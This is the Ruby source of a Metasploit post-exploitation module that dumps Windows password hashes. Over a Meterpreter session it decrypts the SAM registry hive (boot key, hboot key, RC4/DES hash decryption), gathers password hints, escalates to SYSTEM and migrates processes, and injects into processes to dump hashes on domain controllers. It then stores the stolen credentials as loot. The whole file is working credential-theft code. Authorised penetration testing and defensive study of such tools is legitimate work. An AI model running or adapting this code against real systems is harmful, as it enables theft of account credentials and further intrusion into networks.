##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::File
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Registry
  include Msf::Post::Windows::Accounts
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Gather Local and Domain Controller Account Password Hashes',
        'Description' => %q{
          This will dump local accounts from the SAM Database. If the target
          host is a Domain Controller, it will dump the Domain Account Database using the proper
          technique depending on privilege level, OS and role of the host.
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
        'Platform' => [ 'win' ],
        'SessionTypes' => [ 'meterpreter' ],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              core_migrate
              priv_elevate_getsystem
              priv_passwd_get_sam_hashes
              stdapi_registry_open_key
              stdapi_sys_config_sysinfo
              stdapi_sys_process_getpid
            ]
          }
        }
      )
    )
    register_options(
      [
        OptBool.new('GETSYSTEM', [ false, 'Attempt to get SYSTEM privilege on the target host.', false])

      ]
    )
    @smb_port = 445
    # Constants for SAM decryption
    @sam_lmpass = "LMPASSWORD\x00"
    @sam_ntpass = "NTPASSWORD\x00"
    @sam_qwerty = "!@\#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\x00"
    @sam_numeric = "0123456789012345678901234567890123456789\x00"
    @sam_empty_lm = ['aad3b435b51404eeaad3b435b51404ee'].pack('H*')
    @sam_empty_nt = ['31d6cfe0d16ae931b73c59d7e0c089c0'].pack('H*')
  end

  # Run Method for when run command is issued
  def run
    print_status("Running module against #{sysinfo['Computer']}")
    host = Rex::FileUtils.clean_path(sysinfo['Computer'])
    hash_file = store_loot('windows.hashes', 'text/plain', session, '', "#{host}_hashes.txt", 'Windows Hashes')
    print_status('Hashes will be saved to the database if one is connected.')
    print_good('Hashes will be saved in loot in JtR password file format to:')
    print_status(hash_file)
    smart_hash_dump(datastore['GETSYSTEM'], hash_file)
  end

  #-------------------------------------------------------------------------------

  def capture_hboot_key(bootkey)
    ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SAM\\SAM\\Domains\\Account', KEY_READ)
    return if !ok

    vf = ok.query_value('F')
    return if !vf

    vf = vf.data
    ok.close

    hash = Digest::MD5.new
    hash.update(vf[0x70, 16] + @sam_qwerty + bootkey + @sam_numeric)

    rc4 = OpenSSL::Cipher.new('rc4')
    rc4.decrypt
    rc4.key = hash.digest
    hbootkey = rc4.update(vf[0x80, 32])
    hbootkey << rc4.final
    return hbootkey
  end
  #-------------------------------------------------------------------------------

  def capture_user_keys
    users = {}
    ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SAM\\SAM\\Domains\\Account\\Users', KEY_READ)
    return if !ok

    ok.enum_key.each do |usr|
      uk = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\#{usr}", KEY_READ)
      next if usr == 'Names'

      users[usr.to_i(16)] ||= {}
      users[usr.to_i(16)][:F] = uk.query_value('F').data
      users[usr.to_i(16)][:V] = uk.query_value('V').data

      # Attempt to get Hints (from Win7/Win8 Location)
      begin
        users[usr.to_i(16)][:UserPasswordHint] = uk.query_value('UserPasswordHint').data
      rescue ::Rex::Post::Meterpreter::RequestError
        users[usr.to_i(16)][:UserPasswordHint] = nil
      end

      uk.close
    end
    ok.close

    ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SAM\\SAM\\Domains\\Account\\Users\\Names', KEY_READ)
    ok.enum_key.each do |usr|
      uk = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names\\#{usr}", KEY_READ)
      r = uk.query_value('')
      rid = r.type
      users[rid] ||= {}
      users[rid][:Name] = usr

      # Attempt to get Hints (from WinXP Location) only if it's not set yet
      if users[rid][:UserPasswordHint].nil?
        begin
          uk_hint = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Hints\\#{usr}", KEY_READ)
          users[rid][:UserPasswordHint] = uk_hint.query_value('').data
        rescue ::Rex::Post::Meterpreter::RequestError
          users[rid][:UserPasswordHint] = nil
        end
      end

      uk.close
    end
    ok.close
    users
  end
  #-------------------------------------------------------------------------------

  def decrypt_user_keys(hbootkey, users)
    users.each_key do |rid|
      user = users[rid]

      hashlm_enc = ''
      hashnt_enc = ''

      hoff = user[:V][0x9c, 4].unpack1('V') + 0xcc

      # Check if hashes exist (if 20, then we've got a hash)
      lm_exists = user[:V][0x9c + 4, 4].unpack1('V') == 20
      nt_exists = user[:V][0x9c + 16, 4].unpack1('V') == 20

      # If we have a hashes, then parse them (Note: NT is dependant on LM)
      hashlm_enc = user[:V][hoff + 4, 16] if lm_exists
      hashnt_enc = user[:V][(hoff + (lm_exists ? 24 : 8)), 16] if nt_exists

      user[:hashlm] = decrypt_user_hash(rid, hbootkey, hashlm_enc, @sam_lmpass)
      user[:hashnt] = decrypt_user_hash(rid, hbootkey, hashnt_enc, @sam_ntpass)
    end

    users
  end
  #-------------------------------------------------------------------------------

  def decode_windows_hint(e_string)
    d_string = ''
    e_string.scan(/..../).each do |chunk|
      bytes = chunk.scan(/../)
      d_string += (bytes[1] + bytes[0]).to_s.hex.chr
    end
    d_string
  end
  #-------------------------------------------------------------------------------

  def rid_to_key(rid)
    s1 = [rid].pack('V')
    s1 << s1[0, 3]

    s2b = [rid].pack('V').unpack('C4')
    s2 = [s2b[3], s2b[0], s2b[1], s2b[2]].pack('C4')
    s2 << s2[0, 3]

    [convert_des_56_to_64(s1), convert_des_56_to_64(s2)]
  end
  #-------------------------------------------------------------------------------

  def decrypt_user_hash(rid, hbootkey, enchash, pass)
    if enchash.empty?
      case pass
      when @sam_lmpass
        return @sam_empty_lm
      when @sam_ntpass
        return @sam_empty_nt
      end
      return ''
    end

    des_k1, des_k2 = rid_to_key(rid)

    d1 = OpenSSL::Cipher.new('des-ecb')
    d1.decrypt
    d1.padding = 0
    d1.key = des_k1

    d2 = OpenSSL::Cipher.new('des-ecb')
    d2.decrypt
    d2.padding = 0
    d2.key = des_k2

    md5 = Digest::MD5.new
    md5.update(hbootkey[0, 16] + [rid].pack('V') + pass)

    rc4 = OpenSSL::Cipher.new('rc4')
    rc4.decrypt
    rc4.key = md5.digest
    okey = rc4.update(enchash)

    d1o = d1.update(okey[0, 8])
    d1o << d1.final

    d2o = d2.update(okey[8, 8])
    d1o << d2.final
    d1o + d2o
  end
  #-------------------------------------------------------------------------------

  def read_hashdump
    host = session.session_host
    collected_hashes = ''
    tries = 1

    begin
      print_status("\tObtaining the boot key...")
      bootkey = capture_boot_key

      print_status("\tCalculating the hboot key using SYSKEY #{bootkey.unpack1('H*')}...")
      hbootkey = capture_hboot_key(bootkey)

      print_status("\tObtaining the user list and keys...")
      users = capture_user_keys

      print_status("\tDecrypting user keys...")
      users = decrypt_user_keys(hbootkey, users)

      print_status("\tDumping password hints...")
      hint_count = 0
      users.keys.sort { |a, b| a <=> b }.each do |rid|
        # If we have a hint then print it
        if !users[rid][:UserPasswordHint].nil? && !users[rid][:UserPasswordHint].empty?
          print_good("\t#{users[rid][:Name]}:\"#{users[rid][:UserPasswordHint]}\"")
          hint_count += 1
        end
      end
      print_status("\tNo users with password hints on this system") if hint_count == 0

      print_status("\tDumping password hashes...")
      users.keys.sort { |a, b| a <=> b }.each do |rid|
        # next if guest account
        next if rid == 501

        collected_hashes << "#{users[rid][:Name]}:#{rid}:#{users[rid][:hashlm].unpack1('H*')}:#{users[rid][:hashnt].unpack1('H*')}:::\n"

        print_good("\t#{users[rid][:Name]}:#{rid}:#{users[rid][:hashlm].unpack1('H*')}:#{users[rid][:hashnt].unpack1('H*')}:::")

        service_data = {
          address: host,
          port: @smb_port,
          service_name: 'smb',
          protocol: 'tcp',
          workspace_id: myworkspace_id
        }

        credential_data = {
          origin_type: :session,
          session_id: session_db_id,
          post_reference_name: refname,
          private_type: :ntlm_hash,
          private_data: users[rid][:hashlm].unpack1('H*') + ':' + users[rid][:hashnt].unpack1('H*'),
          username: users[rid][:Name]
        }

        credential_data.merge!(service_data)

        # Create the Metasploit::Credential::Core object
        credential_core = create_credential(credential_data)

        # Assemble the options hash for creating the Metasploit::Credential::Login object
        login_data = {
          core: credential_core,
          status: Metasploit::Model::Login::Status::UNTRIED
        }

        # Merge in the service data and create our Login
        login_data.merge!(service_data)
        create_credential_login(login_data)
      end
    rescue ::Interrupt
      raise $ERROR_INFO
    rescue ::Rex::Post::Meterpreter::RequestError => e
      # Sometimes we get this invalid handle race condition.
      # So let's retry a couple of times before giving up.
      # See bug #6815
      if (tries < 5) && e.to_s =~ /The handle is invalid/
        print_status('Handle is invalid, retrying...')
        tries += 1
        retry

      else
        print_error("Meterpreter Exception: #{e.class} #{e}")
        print_error('This script requires the use of a SYSTEM user context (hint: migrate into service process)')
      end
    rescue ::Exception => e
      print_error("Error: #{e.class} #{e} #{e.backtrace}")
    end
    return collected_hashes
  end
  #-------------------------------------------------------------------------------

  def inject_hashdump
    collected_hashes = ''
    host = session.session_host
    # Load priv extension
    session.core.use('priv')
    # dump hashes
    session.priv.sam_hashes.each do |h|
      returned_hash = h.to_s.split(':')
      if returned_hash[1] == 'j'
        returned_hash.delete_at(1)
      end
      rid = returned_hash[1].to_i

      # Skip the Guest Account
      next if rid == 501

      # skip if it returns nil for an entry
      next if h.nil?

      begin
        user = returned_hash[0].scan(/^[a-zA-Z0-9_\-$.]*/).join.gsub(/\.$/, '')
        lmhash = returned_hash[2].scan(/[a-f0-9]*/).join
        next if lmhash.nil?

        hash_entry = "#{user}:#{rid}:#{lmhash}:#{returned_hash[3]}"
        collected_hashes << "#{hash_entry}\n"
        print_good("\t#{hash_entry}")

        service_data = {
          address: host,
          port: @smb_port,
          service_name: 'smb',
          protocol: 'tcp',
          workspace_id: myworkspace_id
        }

        credential_data = {
          origin_type: :session,
          session_id: session_db_id,
          post_reference_name: refname,
          private_type: :ntlm_hash,
          private_data: "#{lmhash}:#{returned_hash[3]}",
          username: user
        }

        credential_data.merge!(service_data)

        # Create the Metasploit::Credential::Core object
        credential_core = create_credential(credential_data)

        # Assemble the options hash for creating the Metasploit::Credential::Login object
        login_data = {
          core: credential_core,
          status: Metasploit::Model::Login::Status::UNTRIED
        }

        # Merge in the service data and create our Login
        login_data.merge!(service_data)
        create_credential_login(login_data)
      rescue StandardError
        next
      end
    end
    return collected_hashes
  end
  #-------------------------------------------------------------------------------

  # Function to migrate to a process running as SYSTEM
  def move_to_sys
    # Make sure you got the correct SYSTEM Account Name no matter the OS Language
    local_sys = resolve_sid('S-1-5-18')
    system_account_name = "#{local_sys[:domain]}\\#{local_sys[:name]}"

    # Processes that can Blue Screen a host if migrated in to
    dangerous_processes = ['lsass.exe', 'csrss.exe', 'smss.exe']

    print_status('Migrating to process owned by SYSTEM')
    session.sys.process.processes.each do |p|
      # Check we are not migrating to a process that can BSOD the host
      next if dangerous_processes.include?(p['name'])

      next if p['pid'] == session.sys.process.getpid

      next unless p['user'] == system_account_name

      print_status("Migrating to #{p['name']}")
      session.core.migrate(p['pid'])
      print_good("Successfully migrated to #{p['name']}")
      return
    end
  end

  #-------------------------------------------------------------------------------

  def smart_hash_dump(migrate_system, pwdfile)
    domain_controller = domain_controller?
    print_good('Host is a Domain Controller') if domain_controller

    if !is_uac_enabled? || is_admin?
      print_status('Dumping password hashes...')
      version = get_version_info
      # Check if Running as SYSTEM
      if is_system?
        # For DC's the registry read method does not work.
        if domain_controller
          begin
            file_local_write(pwdfile, inject_hashdump)
          rescue ::Exception
            print_error('Failed to dump hashes as SYSTEM, trying to migrate to another process')

            if version.build_number.between?(Msf::WindowsVersion::Server2008_SP0, Msf::WindowsVersion::Server2012_R2) && version.windows_server?
              move_to_sys
              file_local_write(pwdfile, inject_hashdump)
            else
              print_error('Could not get NTDS hashes!')
            end
          end

          # Check if not DC
        else
          print_status 'Running as SYSTEM extracting hashes from registry'
          file_local_write(pwdfile, read_hashdump)
        end

        # Check if not running as SYSTEM
      elsif domain_controller

        # Check if Domain Controller
        begin
          file_local_write(pwdfile, inject_hashdump)
        rescue StandardError
          if migrate_system
            print_status('Trying to get SYSTEM privilege')
            results = session.priv.getsystem
            if results[0]
              print_good('Got SYSTEM privilege')
              if version.build_number.between?(Msf::WindowsVersion::Server2008_SP0, Msf::WindowsVersion::Server2012_R2) && version.windows_server?
                # Migrate process since on Windows 2008 R2 getsystem
                # does not set certain privilege tokens required to
                # inject and dump the hashes.
                move_to_sys
              end
              file_local_write(pwdfile, inject_hashdump)
            else
              print_error('Could not obtain SYSTEM privileges')
            end
          else
            print_error('Could not get NTDS hashes!')
          end
        end
      elsif version.build_number.between?(Msf::WindowsVersion::Vista_SP0, Msf::WindowsVersion::Win81)
        if migrate_system
          print_status('Trying to get SYSTEM privilege')
          results = session.priv.getsystem
          if results[0]
            print_good('Got SYSTEM privilege')
            file_local_write(pwdfile, read_hashdump)
          else
            print_error('Could not obtain SYSTEM privilege')
          end
        else
          print_error('On this version of Windows you need to be NT AUTHORITY\\SYSTEM to dump the hashes')
          print_error('Try setting GETSYSTEM to true.')
        end

      elsif migrate_system
        print_status('Trying to get SYSTEM privilege')
        results = session.priv.getsystem
        if results[0]
          print_good('Got SYSTEM privilege')
          file_local_write(pwdfile, read_hashdump)
        else
          print_error('Could not obtain SYSTEM privileges')
        end
      else
        file_local_write(pwdfile, inject_hashdump)

      end
    else
      print_error('Insufficient privileges to dump hashes!')
    end
  end
end